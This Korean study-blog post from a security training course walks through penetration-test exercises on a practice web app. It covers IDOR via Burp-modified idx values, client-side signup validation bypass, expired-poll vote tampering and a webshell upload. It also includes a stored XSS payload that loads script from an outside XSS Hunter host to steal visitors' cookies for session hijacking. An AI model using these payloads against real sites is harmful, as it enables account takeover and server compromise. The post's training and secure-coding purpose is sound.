• 모의해킹 업무
기업에서 운영 중인 시스템을 대상으로 취약점을 파악해 공격을 실시하고 어떤 결과가 초래될지 찾아 증명하는 일
• 모의해킹 업무 중 인증 처리 미흡 시나리오
‣ 사용자 권한을 가지고 접근하지 못 하는 곳에 접근이 허용이 되는가 ‣ 사용자 권한으로 관리자 페이지 접근 및 제어가 가능한가 ‣ 회원 가입 우회해서 가입이 가능한가 ‣ 다른 사용자의 게시물 수정 및 삭제 가능한가 ‣ 유료 서비스를 무료 서비스로 사용가능한가 ‣ 비밀글의 패스워드를 우회 가능한가 ‣ 이벤트(투표) 반복 참여가 가능한가 ‣ 쇼핑몰 가격 변경 가능한가 ‣ 1:1 문의 게시물 열람 가능한가 |
•인증처리 미흡 대응방안(시큐어코딩)
‣ 모든 페이지에 대해서 사용자 권한 체크 (세션체크)
‣ 사용자 비밀번호 입력하게 함
시나리오 실습
다른사람의 1 : 1 문의게시판 보기, 수정, 삭제 하기 |
1:1 문의게시판에 글쓰기(공격자)
hcm 테스트 글 버프로 idx 값이 205이다.
idx 값을 다른 값으로 수정을 해보자.
다른 사람이 작성한 1:1문의게시글을 볼 수 있다.
다른 사람의 문의게시글을 수정할 수가 있다.
다른 사람이 작성한 문의 게시글을 삭제할 수 있다.
본인 및 관리자만 열람 가능한 게시글 수정 |
hcm(공격자)는 게시글을 하나 작성한다.
hcm 계정의 게시글의 idx 값은 242이다.
idx 값을 246으로 수정을 한다.
다른 사람의 잠금 게시물을 볼 수가 있다.
※ 자유 게시판 로직
글쓰기 ⇒ 글 수정 ⇒ 패스워드 입력 ⇒ 상세 페이지 ⇒ 패스워드 입력 ⇒ 수정 페이지 접근 ⇒ 패스워드 입력(패스워드가 입력이 되어 있음) ⇒ 수정 완료
기간이 만료된 설문조사 투표하기 |
투표하기를 누르기 전에 버프로 Interscept 해준다.
Response을 보면 Status == 'last'로 되어있다.
last를 now로 변경 후 포워드로 서버에 넘겨주면 투표를 할 수 있다.
4. 카멜 페이지 회원가입 우회 |
주민등록 입력 없이 우회가 가능한가?
Response에서 주민등록에 대한 소스 코드를 볼 수 있다.
모든 내용을 지우고 document.from.submit(); 만 남겨준다. (데이터를 전송하기 위해 남겨야 함)
회원가입시 주소를 안 적고 우회가 가능한가? |
주민등록번호를 안적고 다음 회원가입 페이지로 이동이 된다.
Response에서 소스코드를 보면 우편에 대한 소스코드를 볼 수 있다.
send 함수에서 우편에대한 모든 내용을 지우고 페이지 실행 및 전송 부분만 남겨준다.
회원가입이 성공할 수 있는 걸 볼 수 있다.
XSS 스크립트 작성 ⇒ 쿠키값 획득 ⇒ 쿠키 재사용 공격 |
자유게시판에 다른 사용자들이 흥미를 끌 수 있는 내용과 함께 <scrtipt src=https://hcm.xss.ht></script> 작성
글을 작성하면 자바스크립트는 보이지 않는다.
다른 사용자가 게시글을 보면 https://xsshunter.com/app에서 확인할 수 있다.
IP, Referer, Cookies 등 정보를 볼 수 있다.
개발자 모드에서 Application로 이동을 하면 쿠키값을 볼수 있다.
쿠키 값을 https://xsshunter.com/app에서 본 쿠키값으로 수정을 해준다
다른 사용자의 계정으로 변경이 된 걸 볼 수 있다.
파일업로드 취약점(웹쉘 업로드) |
자료실에 웹쉘 파일을 올리려고 하면 "PHP, HTML 파일은 보안상 업로드할 수 없습니다" 경고 메시지가 보이면서 파일을 업로드를 할 수가 없다.
Response에서 파일 확장자를 검사하는 부분을 수정 찾아 수정을 한다.
파일 확장자 체크하는 코드 부분을 모두 지워준다.
php 확장자 파일이 업로드가 된다.
파일을 누르면 웹쉘이 실행이 되는 걸 볼 수 있다.
'Rookies 9기 > 클라우드 취약점 진단 및 대응 실무' 카테고리의 다른 글
취약점 진단 및 대응 실무 5일차 (1) | 2022.10.21 |
---|---|
취약점 진단 및 대응 실무 4일차 (0) | 2022.10.20 |
취약점 진단 및 대응 실무 3일차 (0) | 2022.10.19 |
취약점 진단 및 대응 실무 2일차 (0) | 2022.10.18 |